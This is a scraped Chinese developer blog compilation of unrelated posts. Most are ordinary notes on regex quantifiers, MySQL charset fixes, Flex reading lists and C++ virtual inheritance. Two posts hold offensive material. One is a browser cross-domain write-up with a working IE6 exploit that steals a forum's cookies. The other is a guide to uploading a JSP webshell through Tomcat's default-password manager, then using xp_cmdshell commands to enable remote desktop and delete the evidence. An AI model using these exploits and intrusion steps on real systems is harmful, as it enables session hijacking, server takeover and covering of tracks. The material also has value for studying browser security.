• Windows7在微软WinHEC 2008上揭开神秘面纱
• 搜狐网站诚聘Java、PHP和C++工程师

作者：老王

网上看了别人介绍的一片文章，说使用P3P可以完成跨域COOKIE操作，感觉很COOL，不过没有提供源代码，我胡乱写了一下，大家看看。

实际工作中，类似这样的要求很多，比如说，我们有两个域名，我们想实现在一个域名登录后，能自动完成另一个域名的登录，也就是PASSPORT的功能。

我只写一个大概，为了测试的方便，先编辑hosts文件，加入测试域名（C:\WINDOWS\system32\drivers\etc\hosts）

127.0.0.1       www.a.com
127.0.0.1       www.b.com

首先：创建 a_setcookie.php 文件，内容如下：

<?php 
//header('P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"'); 

setcookie("test", $_GET['id'], time()+3600, "/", ".a.com"); 
?>

然后：创建 a_getcookie.php 文件，内容如下：

<?php 
var_dump($_COOKIE); 
?> 

最后：创建 b_setcookie.php 文件，内容如下：

<script src="http://www.a.com/a_setcookie.php?id=www.b.com"></script>

－－－－－－－－－－－－－－－－－－－－－－－－－－－－

三个文件创建完毕后，我们通过浏览器依次访问：

http://www.b.com/b_setcookie.php
http://www.a.com/a_getcookie.php

我们会发现，在访问b.com域的时候，我们并没有在a.com域设置上cookie值。

然后我们修改一下a_setcookie.php文件，去掉注释符号，a_setcookie.php即为：

<?php  
header('P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"');  

setcookie("test", $_GET['id'], time()+3600, "/", ".a.com");  
?> 

再次通过浏览器依次访问：

http://www.b.com/b_setcookie.php
http://www.a.com/a_getcookie.php

这次，你会发现在访问b.com域的时候，我们设置了a.com域的cookie值。

末了补充一句，似乎只有IE对跨域访问COOKIE限制比较严格，上述代码在FIREFOX下测试，即使不发送P3P头信息，也能成功。不过IE是老大啊。

参考文档：http://www.w3.org/P3P/

• Windows7在微软WinHEC 2008上揭开神秘面纱
• 搜狐网站诚聘Java、PHP和C++工程师

Manuel Caballero在BLUEHAT大会探讨了《A Resident in My Domain》议题，字面上的意思就是驻留在自己的域，随后开始有国内的安全研究人员在BLOG上写了一些相关的内容，这段时间一直和HI群里的朋友在讨论这个问题，大家都简称为鬼页，这个鬼页非常神奇，可以跟随你浏览的每个页面。经过鬼页的启发，我也对浏览器的跨域安全问题进行了测试。

　　1.来自伪协议的呼唤

　　JAVASCRIPT里大家都频繁使用window对象，window对象代表的就是浏览器的窗口，我们就来测试下window对象的open方法，尝试让新开的窗口执行伪协议。在本机搭建一个WEB服务器，开始做下实验：

　　用各个浏览器浏览 http://127.0.0.1/test.htm ，下面是test.htm的脚本内容：

<script>        x=window.open('about:blank');     x.location="javascript:alert(document.domain)"     </script>

　　结果：

　　IE6：执行了伪协议，认为弹出窗口的域是127.0.0.1。

　　IE7：执行了伪协议，认为弹出窗口的域是127.0.0.1。

　　Firefox：执行了伪协议,认为还没有域为NULL。

　　Firefox这里对于这个接口可能也有个BUG，对于IP地址的弹窗Firefox没有辨认出域，但是在实际绑定域名的情况下还是辨认出了域。

　　为了下面的部分方便理解，我把这里弹窗的关系给简称下，原窗口叫父页，弹出窗口叫子页，实验过后我们证明了：父页和子页都在同一个域里，父页可以重定向子页的URL地址，甚至执行伪协议。

　　2.父页和子页的关系

　　如果父页让子页访问其他域后，父页和子页是否就脱离关系了呢?

　　继续测试，用各个浏览器浏览 http://127.0.0.1/test2.htm ，下面是test2.htm的脚本

　　内容：

<script>        x=window.open('about:blank');     x.location="http://www.163.com" //访问163网站     setTimeout(function(){         x.location="http://127.0.0.1";     },5000)  //5秒后重定向到127.0.0.1     </script>

　　这次IE6、IE7、Firefox都达成了一致，实验的结果是子页访问了163网站，5秒然后又跳回了127.0.0.1。

　　所以就算是子页在访问了其他域后，还是会受父页的控制。

　　3.域与域之间的牵绊

　　如果父页让子页访问某个域后，再执行伪协议会有什么效果?

　　用各个浏览器浏览 http://127.0.0.1/test3.htm，下面是test3.htm的脚本内容：

<script>        x=window.open('about:blank');     x.location="http://www.163.com"     setTimeout(function(){         x.location="javascript:alert(document.cookie)";     },5000)     </script>

      结果：

　　IE6：没有反应。

　　IE7：报错，拒绝访问。

　　Firefox：报错，alert没有定义。

　　这些信息明显的说明，如果子页和父页不在同一个域里，浏览器是不允许父页控制子页执行伪协议脚本的。

　　为了进一步验证，我们让子页打开同一个域里的页面测试：

　　用各个浏览器浏览 http://127.0.0.1/test4.htm，下面是test4.htm的脚本内容：

<script>      document.cookie='xss:true'  //给本域设置一个COOKIE为xss:true     x=window.open('about:blank');     x.location="http://127.0.0.1"     setTimeout(function(){         x.location="javascript:alert(document.cookie)";     },5000)     </script>

　　结果IE6、IE7、Firefox都顺利的弹出了COOKIE值，说明如果子页和父页在同一个域里，浏览器是允许父页控制子页执行伪协议脚本的。

　　4.安全上的差异

　　父页和子页这种微妙的关系，到这里就开始引发安全问题了，安全研究人员在分析鬼页的时，给出了EXP:

javascript:x=open('http://hackademix.net/');setInterval(function(){try{x.frames[0].location={toString:function(){return 'http://www.sirdarckcat.net/caballero-listener.html';}}}catch(e){}},5000);void(1);

　　EXP按上面三部分的概念解释是：

　　父页是A域，父页指定子页访问B域内一个带框架的页面，父页就能够控制B域页面内框架的URL地址，这个就是典型的跨域操作了。

　　鬼页能够跨域操作框架的关键是window.frames[0]方法没有受到域的限制，第二个是让location指定的地址看起来像个对象而不是参数。

　　我们按照鬼页的思路，继续在第3部分的基础上测试下去，将location指定的地址使用new String()对象处理。

　　用各个浏览器浏览 http://127.0.0.1/test5.htm，下面是test5.htm的脚本内容：

<script>        x=window.open('about:blank');     x.location="http://www.163.com"；     setTimeout(function(){         x.location=new String("javascript:alert(document.cookie)")     },5000)     </script>

　　IE6：弹出COOKIE。

　　IE7：报错，拒绝访问。

　　Firefox：报错，alert没有定义。

　　结果是IE6奇迹般的弹出了COOKIE，我们做到了跨域执行脚本。　5.灾难性的后果

　　到这里我们发现了一个IE6的0DAY，一定程度上这个跨域安全问题是灾难性的，如下面的

　　EXP：

<a href="">IE6 Cross Domain Scripting</a>     <script>     function win(){         x=window.open('http://www.phpwind.net');         setTimeout(function(){             x.location=new String("javascript:alert(document.cookie)")         },3000)     }     window.onload=function(){         for (i=0;i<document.links.length;i++) {              document.links[i].href="javascript:win()"         }     }     </script>

　　点击链接后，马上得到了PHPWIND论坛的COOKIE，这就意味着黑客通过类似的攻击可以得到你访问过的任意网站的COOKIE，然后劫持你的会话。

　　这样的漏洞相当于一个没有域限制的XSS漏洞，几乎是无法防御的，网站只能进一步的加强客户端的会话安全，如使用SSL加密连接、设置安全COOKIE加上HTTPONLY参数、给敏感的请求操作加上水印等。

　　6.总结

　　这个跨域安全问题的本质是浏览器在处理window对象的操作有所疏漏，没有考虑清楚不同域有继承关系的window对象操作后的变化，只是对window对象的一些方法的参数做了类似数据类型的限制，导致最后绕过限制跨域执行了脚本。

　　从这个漏洞我们也可以看出IE7的一些新的安全特性，通过继承关系的window对象操作来跨域执行脚本伪协议最后是判断了域的，IE7已经开始防范类似的攻击。

　　但是这里并没有在本质上解决跨域安全问题，IE7只防范了跨域执行脚本，对于其他跨域的操作仍然是放行的，所以鬼页在IE7下可以跨域操作框架URL，而Firefox却没有存在相同的问题，说明不同浏览器在安全的考虑上也是存在很多差异的。

　　针对IE我又测试了其他对象方法，发现很多都被限制住了，但不排除还有同样的问题存在。按照类似的思路，大家可以继续尝试挖掘浏览器的一些跨域漏洞。

　　参考

　　[1] Browser's Ghost Busters: http://sirdarckcat.blogspot.com/2008/05/browsers-ghost-busters.html

　　[2] Ghost Busters: http://www.gnucitizen.org/blog/ghost-busters/

• 搜狐网站诚聘Java、PHP和C++工程师
• Windows7在微软WinHEC 2008上揭开神秘面纱

 一款不错的jsp木马，jshell最近发现修改版很多，而且功能也强大了好多。

首先介绍一下如何上载这款jsp木马，现在的jsp应用大多以tomcat发布，tomcat默认有两个管理应用，分别是admin和manager/html，如果在软件发布的时候没有更改密码或删除应用，就会造成很大的安全隐患，例如这两个应用的默认密码都为空，登录manager后，可以创建上传context应用，如果我们把这款jsp上传的话，基本上整个系统都在我们的掌控之下。

     可以执行系统命令，这时可以随便添加一个用户到系统中，然后把该用户添加到administrators用户组中，拿到超级权限，这时可以看看是否开通了3389端口，没开的话可以

//拿到sqlserver管理员密码时 “>”表示覆盖写入，“>>”表示追加写入
exec master.dbo.xp_cmdshell 'echo Windows Registry Editor Version 5.00 >3389.reg'
exec master.dbo.xp_cmdshell 'echo. >>3389.reg'
exec master.dbo.xp_cmdshell 'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg'
exec master.dbo.xp_cmdshell 'echo "fDenyTSConnections"=dword:00000000 >>3389.reg'
exec master.dbo.xp_cmdshell 'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg'
exec master.dbo.xp_cmdshell 'echo "PortNumber"=dword:00000d3d >>3389.reg'
exec master.dbo.xp_cmdshell 'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg'
exec master.dbo.xp_cmdshell 'echo "PortNumber"=dword:00000d3d >>3389.reg'

//执行注册文件
exec master.dbo.xp_cmdshell 'regedit /s 3389.reg'
//毁尸灭迹
exec master.dbo.xp_cmdshell 'del 3389.reg'

 远程登录进去，呵呵，“为所欲为”

本篇只为交流，希望能引起管理员的重视，减少软件的安全隐患。特别是在软件不存在sql注入的情况下，往往令人费解，他是怎么突入进来了，通过tomcat这种漏洞或者算是管理员的疏忽，往往比sql注入更容易突破进来，而且危害也远远大于sql注入。

• Windows7在微软WinHEC 2008上揭开神秘面纱
• 搜狐网站诚聘Java、PHP和C++工程师

最近客户反应他们数据库的tempdb占用空间暴涨，一天之内居然可以达到20多G，后在网络上查了一下，tempdb的增长与sql语句的优化有很大关系，一些中间生成表包括数据都在tempdb中，如果sql优化不好的话，导致tempdb的增长是惊人的，查看代码发现一条sql语句写的有问题，关联太多而且没有必要，改之。

• 搜狐网站诚聘Java、PHP和C++工程师
• Windows7在微软WinHEC 2008上揭开神秘面纱

• 搜狐网站诚聘Java、PHP和C++工程师
• Windows7在微软WinHEC 2008上揭开神秘面纱

• Windows7在微软WinHEC 2008上揭开神秘面纱
• 搜狐网站诚聘Java、PHP和C++工程师

sqlserver在不插网线的情况下

发现一个问题，自从装了一个数据恢复软件lumint，在不插网线的情况下，sqlserver启动异常，

SuperSocket 信息: gethostbyname(MSAFD Tcpip [TCP/IP]) : Error 11004。

有关更多信息，请参阅在 http://go.microsoft.com/fwlink/events.asp 的帮助和支持中心。

 卸载后可以正常使用

• Windows7在微软WinHEC 2008上揭开神秘面纱
• 搜狐网站诚聘Java、PHP和C++工程师

莫名奇妙的错误，一个jar怎么搞晕了呢？

jar cvf db.jar com

• Windows7在微软WinHEC 2008上揭开神秘面纱
• 搜狐网站诚聘Java、PHP和C++工程师

刚搞了一 个图形验证码，发现点“换张图片”不能刷新原有的图形，

var img = document.getElementById("randcode");	
img.src = "randCode.jsp?randid="+Math.random();		
	

后来经过参考QQ邮箱的验证码，发现图片的src必须与上次不同才能刷新，例如QQ的是这样的

var S = function( object ) {
  return document.getElementById( object );	
};
function changeimg()
{
   S('vfcode').src = 'http://ptlogin2.qq.com/getimage?id=23000101&' + Math.random();
}

OK！

• 搜狐网站诚聘Java、PHP和C++工程师
• Windows7在微软WinHEC 2008上揭开神秘面纱

greedy、reluctant和possessive量词的区别

greedy、reluctant和possessive量词之间有微妙的区别。

greedy量词被看作“贪婪的”，因为它们在试图搜索第一个匹配之前读完（或者说吃掉）整个输入字符串。如果第一个匹配尝试（整个输入字符串）失败，匹配器就会在输入字符串中后退一个字符并且再次尝试，重复这个过程，直到找到匹配或者没有更多剩下的字符可以后退为止。根据表达式中使用的量词，它最后试图匹配的内容是1个或者0个字符。

但是，reluctant量词采取相反的方式：它们从输入字符串的开头开始，然后逐步地一次读取一个字符搜索匹配。它们最后试图匹配的内容是整个输入字符串。

最后，possessive量词总是读完整个输入字符串，尝试一次（而且只有一次）匹配。和greedy量词不同，possessive从不后退，即使这样做能允许整体匹配成功。

为了演示，我们分析输入字符串xfooxxxxxxfoo：

Enter your regex: .*foo  // greedy quantifier

Enter input string to search: xfooxxxxxxfoo

I found the text "xfooxxxxxxfoo" starting at index 0 and ending at index 13.

Enter your regex: .*?foo  // reluctant quantifier

Enter input string to search: xfooxxxxxxfoo

I found the text "xfoo" starting at index 0 and ending at index 4.

I found the text "xxxxxxfoo" starting at index 4 and ending at index 13.

Enter your regex: .*+foo // possessive quantifier

Enter input string to search: xfooxxxxxxfoo

No match found.

第一个例子使用greedy量词.*搜索“任何内容”零次或者多次，后面是字母f、o、o。因为是greedy量词，所以表达式的.*部分首先读完整个字符串。这样，整个表达式不会成功，因为最后三个字母（“f”“o”“o”）已经被消耗了。所以匹配器缓慢地一次后退一个字母，一直后退到最右侧出现“foo”为止，这里匹配成功并且搜索停止。

但是第二个例子使用的量词是reluctant量词，所以它首先消耗“无内容”。因为“foo”没有出现在字符串的开头，所以迫使它消耗掉第一个字母（x），这样就在索引0和4的位置触发第一个匹配。我们的测试示例继续处理，直到输入字符串耗尽为止。它在索引4和13找到了另一个匹配。

第三个例子找不到匹配，因为是possessive量词。这种情况下，.*+消耗整个输入字符串，在表达式的结尾没有剩下满足“foo”的内容。possessive量词用于处理所有内容，但是从不后退的情况；在没有立即发现匹配的情况下，它的性能优于功能相同的greedy量词。

• 搜狐网站诚聘Java、PHP和C++工程师
• Windows7在微软WinHEC 2008上揭开神秘面纱

引用java规范

组和捕获

捕获组可以通过从左到右计算其开括号来编号。例如，在表达式 ((A)(B(C))) 中，存在四个这样的组：

1	((A)(B(C)))
2	\A
3	(B(C))
4	(C)

组零始终代表整个表达式。

之所以这样命名捕获组是因为在匹配中，保存了与这些组匹配的输入序列的每个子序列。捕获的子序列稍后可以通过 Back 引用在表达式中使用，也可以在匹配操作完成后从匹配器检索。

与组关联的捕获输入始终是与组最近匹配的子序列。如果由于量化的缘故再次计算了组，则在第二次计算失败时将保留其以前捕获的值（如果有的话）例如，将字符串 "aba" 与表达式 (a(b)?)+ 相匹配，会将第二组设置为 "b"。在每个匹配的开头，所有捕获的输入都会被丢弃。

以 (?) 开头的组是纯的非捕获 组，它不捕获文本，也不针对组合计进行计数。

• Windows7在微软WinHEC 2008上揭开神秘面纱
• 搜狐网站诚聘Java、PHP和C++工程师

最近在研究openmeetings，使用的是mysql5，但在切换简体中文的时候老出问题，后来发现库中不存在中文的配置文件，找到简体中文利用提供的语言导入功能，发现中文无法写入，导入英文的配置文件完全没有问题。

在网上查到的方法：

　　找到“my.ini”这个文件，就在MYSQL的安装目录下，如果找不到的话，用搜索也行！

　　用记事本打开，找到下面这一行文本

　　sql-mode="STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"

　　注意，可能不太一样，但前面肯定是　sql-mode　只有这么一行。

　　在它的前面加上一个“#”号，即

　　#sql-mode="STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"

　　保存文件，最后是重新启动一下MYSQL服务。

试完后中文还是无法保存，后来发现字段属性的字符集是latin1，改成utf8后就好了.

• 搜狐网站诚聘Java、PHP和C++工程师
• Windows7在微软WinHEC 2008上揭开神秘面纱

目前Adobe Flex的中文版学习资料比较少，而且大多都很零散，不适合用来系统地学习。我在这里罗列一下在我的学习过程中读过的一些资料。当然是以Adobe的官方文档为主，这些文档内容非常详尽，应该作为学习的首选。
　　所有资源均提供下载，如链接失效，请在留言板留言，我尽量给予更新。

-------------------   入门书籍   -------------------

《Getting Started with Flex 2 中文版》：网上流传的重庆大坪的刘刚的“Flex中文帮助（4章）”就是翻译的这本书，非常适合新手用来入门。
《Using Flex Builder 2》 ：工欲善其事，必先利其器。先学习学习怎么用这个工具吧。
《Adobe Apollo for Flex Pocket Guide》 ：简介Apollo的小册子

-------------------   中级书籍   -------------------

《ActionScript 3.0编程》 、 《Programming ActionScript 3.0》 ：两本书内容基本一样，如果英文不好的话，还是看前面那本中文版的吧。
《ActionScript 3.0 语言和组件参考》 、 《Adobe Flex 2 Language Reference》 ：两本书内容基本一样，如果英文不好的话，还是看前面那本中文版的吧。
《ActionScript 3.0 Cookbook》 ：如果看完上面几本书觉得还不够的话，那就看看这本吧，O'Reilly出书，必属精品。
《使用ActionScript 3.0组件》 、 《Creating and Extending Flex 2 Components.pdf》 ：都是谈组件的，可以互相参考。
《Programming Flex 2》 ：同样是O'Reilly出的，里面有好多例子不错。
《Building and Deploying Flex 2 Applications.pdf》 ：看到这里，如果上面的都看完了，那就开始Project吧。
《Flex 2 Compiler API User Guide》 ：一本介绍Flex编译API的小册子
《Migrating Applications to Flex 2》 、 《Testing Flex Applications with Mercury QuickTest Professional》 ：程序的迁移及测试

-------------------   高级书籍   -------------------

《Flex 2 Developer's Guide》 ：Flex开发人员必看的一本书！一边开发一边学习，可以当作字典来用！
《Advanced ActionScript 3 with Design Patterns》 ：AS3的一些进阶技巧
《ActionScript3 Tip Of the Day》 ：100个Tips，全面提高你的AS3使用技巧
《Adobe Flex 2 Training from the Source》 ：深入学习Flex的编码
《Flash Communication Server》 ：如何实现SWF间的通讯
《FLASH 视频编码器用户指南》 ：如果做图像采集项目，该书是一个理论总纲
《Flex Data Services 2 - Public APIs》 ：相关包的语法集
《Foundation ActionScript Animation：Making Things Move！》 ：如何用AS处理动画
《Rich Internet Applications with Adobe Flex & Java》 ：如果到现在，你对RIA还没有一个清晰的认识的话，推荐看这本书（附配套光盘）
《基于Cairngorm的Flex应用程序设计》 ：实现Cairngorm架构，很有价值的一本小册子

-------------------------------------------------------

　　必读的书： 《Getting Started with Flex 2 中文版》 ->  《ActionScript 3.0编程》 -> 《Flex 2 Developer's Guide》，这基本上就是目前最快的学习路线了。前两本书读完大约需要两周时间，最后一本书可以在开发过程中一边做开发一边阅读。Flex入门仅需要两周时间，成为高手至少需要一年的时间。

• 搜狐网站诚聘Java、PHP和C++工程师
• Windows7在微软WinHEC 2008上揭开神秘面纱

• 搜狐网站诚聘Java、PHP和C++工程师
• Windows7在微软WinHEC 2008上揭开神秘面纱

• Windows7在微软WinHEC 2008上揭开神秘面纱
• 搜狐网站诚聘Java、PHP和C++工程师

为了解决二义性问题通常都有三种不同的方法

1.域作用分辨作用符

2。名字支配原则

3.虚基类

• 搜狐网站诚聘Java、PHP和C++工程师
• Windows7在微软WinHEC 2008上揭开神秘面纱

附录：测试代码
#include <ctime>
#include <iostream>

/*
 * 带有数据成员的基类
 */
struct CBaseClass1
{
    CBaseClass1( size_t i ) : m_val( i ) {}

    size_t m_val;
};
/*
 * 虚拟继承体系
 */
struct CSubClassV1 : public virtual CBaseClass1
{
    CSubClassV1( size_t i ) : CBaseClass1( i ) {}
};

struct CSubClassV2 : public virtual CBaseClass1
{
    CSubClassV2( size_t i ) : CBaseClass1( i ) {}
};

struct CDiamondClass1 : public CSubClassV1, public CSubClassV2
{
    CDiamondClass1( size_t i ) : CBaseClass1( i ), CSubClassV1( i ), CSubClassV2( i ) {}
};

struct CDiamondSubClass1 : public CDiamondClass1
{
    CDiamondSubClass1( size_t i ) : CBaseClass1( i ), CDiamondClass1( i ) {}
};
/*
 * 正常继承体系
 */
struct CSubClassN1 : public CBaseClass1
{
    CSubClassN1( size_t i ) : CBaseClass1( i ) {}
};
struct CSubClassN2 : public CBaseClass1
{
    CSubClassN2( size_t i ) : CBaseClass1( i ) {}
};
struct CMultiClass1 : public CSubClassN1, public CSubClassN2
{
    CMultiClass1( size_t i ) : CSubClassN1( i ), CSubClassN2( i ) {}
};
struct CMultiSubClass1 : public CMultiClass1
{
    CMultiSubClass1( size_t i ) : CMultiClass1( i ) {}
};
/*
 * 不带有数据成员的接口基类
 */
struct CBaseClass2
{
    virtual void func() {};
    virtual ~CBaseClass2() {}
};
/*
 * 虚拟继承体系
 */
// struct CBaseClassX { CBaseClassX() {i1 = i2 = 0xFFFFFFFF;} size_t i1, i2;};
struct CSubClassV3 : public virtual CBaseClass2
{
};
struct CSubClassV4 : public virtual CBaseClass2
{
};
struct CDiamondClass2 : public CSubClassV3, public CSubClassV4
{
};
struct CDiamondSubClass2 : public CDiamondClass2
{
};

/*
 * 正常继承体系
 */
struct CSubClassN3 : public CBaseClass2
{
};
struct CSubClassN4 : public CBaseClass2
{
};
struct CMultiClass2 : public CSubClassN3, public CSubClassN4
{
};
struct CMultiSubClass2 : public CMultiClass2
{
};

/*
 * 内存布局用类声明.
 */
struct CLayoutBase1
{
    CLayoutBase1() : m_val1( 0 ), m_val2( 1 ) {}

    size_t m_val1, m_val2;
};
struct CLayoutBase2
{
    CLayoutBase2() : m_val1( 3 ) {}

    size_t m_val1;
};
struct CLayoutSubClass1 : public virtual CBaseClass1, public CLayoutBase1, public CLayoutBase2
{
    CLayoutSubClass1() : CBaseClass1( 2 ) {}
};


#define MAX_TEST_COUNT 1000 * 1000 * 16
#define TIME_ELAPSE() ( std::clock() - start * 1.0 ) / CLOCKS_PER_SEC

int main( int argc, char *argv[] )
{
    /*
     * 类体系中的尺寸.
     */
    std::cout << "================================ sizeof ================================" << std::endl;
    std::cout << "    ----------------------------------------------------------------" << std::endl;
    std::cout << "sizeof( CBaseClass1 )       = " << sizeof( CBaseClass1 ) << std::endl;
    std::cout << std::endl;
    std::cout << "sizeof( CSubClassV1 )       = " << sizeof( CSubClassV1 ) << std::endl;
    std::cout << "sizeof( CSubClassV2 )       = " << sizeof( CSubClassV2 ) << std::endl;
    std::cout << "sizeof( CDiamondClass1 )    = " << sizeof( CDiamondClass1 ) << std::endl;
    std::cout << "sizeof( CDiamondSubClass1 ) = " << sizeof( CDiamondSubClass1 ) << std::endl;
    std::cout << std::endl;
    std::cout << "sizeof( CSubClassN1 )       = " << sizeof( CSubClassN1 ) << std::endl;
    std::cout << "sizeof( CSubClassN2 )       = " << sizeof( CSubClassN2 ) << std::endl;
    std::cout << "sizeof( CMultiClass1 )      = " << sizeof( CMultiClass1 ) << std::endl;
    std::cout << "sizeof( CMultiSubClass1 )   = " << sizeof( CMultiSubClass1 ) << std::endl;

    std::cout << "    ----------------------------------------------------------------" << std::endl;
    std::cout << "sizeof( CBaseClass2 )       = " << sizeof( CBaseClass2 ) << std::endl;
    std::cout << std::endl;
    std::cout << "sizeof( CSubClassV3 )       = " << sizeof( CSubClassV3 ) << std::endl;
    std::cout << "sizeof( CSubClassV4 )       = " << sizeof( CSubClassV4 ) << std::endl;
    std::cout << "sizeof( CDiamondClass2 )    = " << sizeof( CDiamondClass2 ) << std::endl;
    std::cout << "sizeof( CDiamondSubClass2 ) = " << sizeof( CDiamondSubClass2 ) << std::endl;
    std::cout << std::endl;
    std::cout << "sizeof( CSubClassN3 )       = " << sizeof( CSubClassN3 ) << std::endl;
    std::cout << "sizeof( CSubClassN4 )       = " << sizeof( CSubClassN4 ) << std::endl;
    std::cout << "sizeof( CMultiClass2 )      = " << sizeof( CMultiClass2 ) << std::endl;
    std::cout << "sizeof( CMultiSubClass2 )   = " << sizeof( CMultiSubClass2 ) << std::endl;
    /*
     * 对象内存布局
     */
    std::cout << "================================ layout ================================" << std::endl;
    std::cout << "    --------------------------------MI------------------------------" << std::endl;
    CLayoutSubClass1 *lsc = new CLayoutSubClass1;
    std::cout << "sizeof( CLayoutSubClass1 )   = " << sizeof( CLayoutSubClass1 ) << std::endl;
    std::cout << "CLayoutBase1 offset of CLayoutSubClass1 is " << (char*)(CLayoutBase1 *)lsc - (char*)lsc << std::endl;
    std::cout << "CBaseClass1  offset of CLayoutSubClass1 is " << (char*)(CBaseClass1  *)lsc - (char*)lsc << std::endl;
    std::cout << "CLayoutBase2 offset of CLayoutSubClass1 is " << (char*)(CLayoutBase2 *)lsc - (char*)lsc << std::endl;

    int *ptr = (int*)lsc;
    std::cout << "vbc in CLayoutSubClass1 is " << *(int*)ptr[3] << std::endl;

    delete lsc;

    std::cout << "    --------------------------------SI------------------------------" << std::endl;
    CSubClassV1 *scv1 = new CSubClassV1( 1 );
    std::cout << "sizeof( CSubClassV1 )   = " << sizeof( CSubClassV1 ) << std::endl;
    std::cout << "CBaseClass1 offset of CSubClassV1 is " << (char*)(CBaseClass1 *)scv1 - (char*)scv1 << std::endl;

    ptr = (int*)scv1;
    std::cout << "vbc in CSubClassV1 is " << *(int*)ptr[0] << std::endl;

    delete scv1;

    /*
     * 性能测试
     */
    std::cout << "================================ Performance ================================" << std::endl;
    double times[4];
    size_t idx = 0;

    CSubClassV1 *ptr1 = new CDiamondClass1( 1 );
    std::clock_t start = std::clock();
    {
        for ( size_t i = 0; i < MAX_TEST_COUNT; ++i )
            ptr1->m_val = i;
    }
    times[idx++] = TIME_ELAPSE();
    delete static_cast<CDiamondClass1*>( ptr1 );

    CSubClassN1 *ptr2 = new CMultiClass1( 0 );
    start = std::clock();
    {
        for ( size_t i = 0; i < MAX_TEST_COUNT; ++i )
            ptr2->m_val = i;
    }
    times[idx++] = TIME_ELAPSE();
    delete static_cast<CMultiClass1*>( ptr2 );

    std::cout << "CSubClassV1::ptr1->m_val " << times[0] << " s" << std::endl;
    std::cout << "CSubClassN1::ptr2->m_val " << times[1] << " s" << std::endl;

    return 0;
}

测试环境：
    软件环境：Visual Studio2005 Pro + SP1, boost1.34.0
    硬件环境：PentiumD 3.0GHz, 4G RAM
测试数据：
================================ sizeof ================================
    ----------------------------------------------------------------
sizeof( CBaseClass1 )       = 4

sizeof( CSubClassV1 )       = 8
sizeof( CSubClassV2 )       = 8
sizeof( CDiamondClass1 )    = 12
sizeof( CDiamondSubClass1 ) = 12

sizeof( CSubClassN1 )       = 4
sizeof( CSubClassN2 )       = 4
sizeof( CMultiClass1 )      = 8
sizeof( CMultiSubClass1 )   = 8
    ----------------------------------------------------------------
sizeof( CBaseClass2 )       = 4

sizeof( CSubClassV3 )       = 8
sizeof( CSubClassV4 )       = 8
sizeof( CDiamondClass2 )    = 12
sizeof( CDiamondSubClass2 ) = 12

sizeof( CSubClassN3 )       = 4
sizeof( CSubClassN4 )       = 4
sizeof( CMultiClass2 )      = 8
sizeof( CMultiSubClass2 )   = 8
================================ layout ================================
    --------------------------------MI------------------------------
sizeof( CLayoutSubClass1 )   = 20
CLayoutBase1 offset of CLayoutSubClass1 is 0
CBaseClass1  offset of CLayoutSubClass1 is 16
CLayoutBase2 offset of CLayoutSubClass1 is 8
vbc in CLayoutSubClass1 is -12
    --------------------------------SI------------------------------
sizeof( CSubClassV1 )   = 8
CBaseClass1 offset of CSubClassV1 is 4
vbc in CSubClassV1 is 0
================================ Performance ================================
CSubClassV1::ptr1->m_val 0.062 s
CSubClassN1::ptr2->m_val 0.016 s

结果分析：
    1. 由于虚继承引入的间接性指针所以导致了虚继承类的尺寸会增加4个字节；
    2. 由Layout输出可以看出，虚基类子对象被放在了对象的尾部（偏移为16），并且vbc
       指针必须紧紧的接在虚基类子对象的前面，所以vbc指针所指向的内容为“偏移 - 4”；
    3. 由于VC8将偏移放在了虚函数表中，所以为了区分函数地址和偏移，所以偏移是用补
       码int表示的负值；
    4. 间接性可以通过性能来看出，在虚继承体系同通过指针访问成员时的时间一般是一般
       类访问情况下的4倍左右，符合汇编语言输出文件中的汇编语句的安排。

• Windows7在微软WinHEC 2008上揭开神秘面纱
• 搜狐网站诚聘Java、PHP和C++工程师

深度优选遍历，广度优选遍历

最小生成树（普利姆算法）

最短路径

拓扑排序

• Windows7在微软WinHEC 2008上揭开神秘面纱
• 搜狐网站诚聘Java、PHP和C++工程师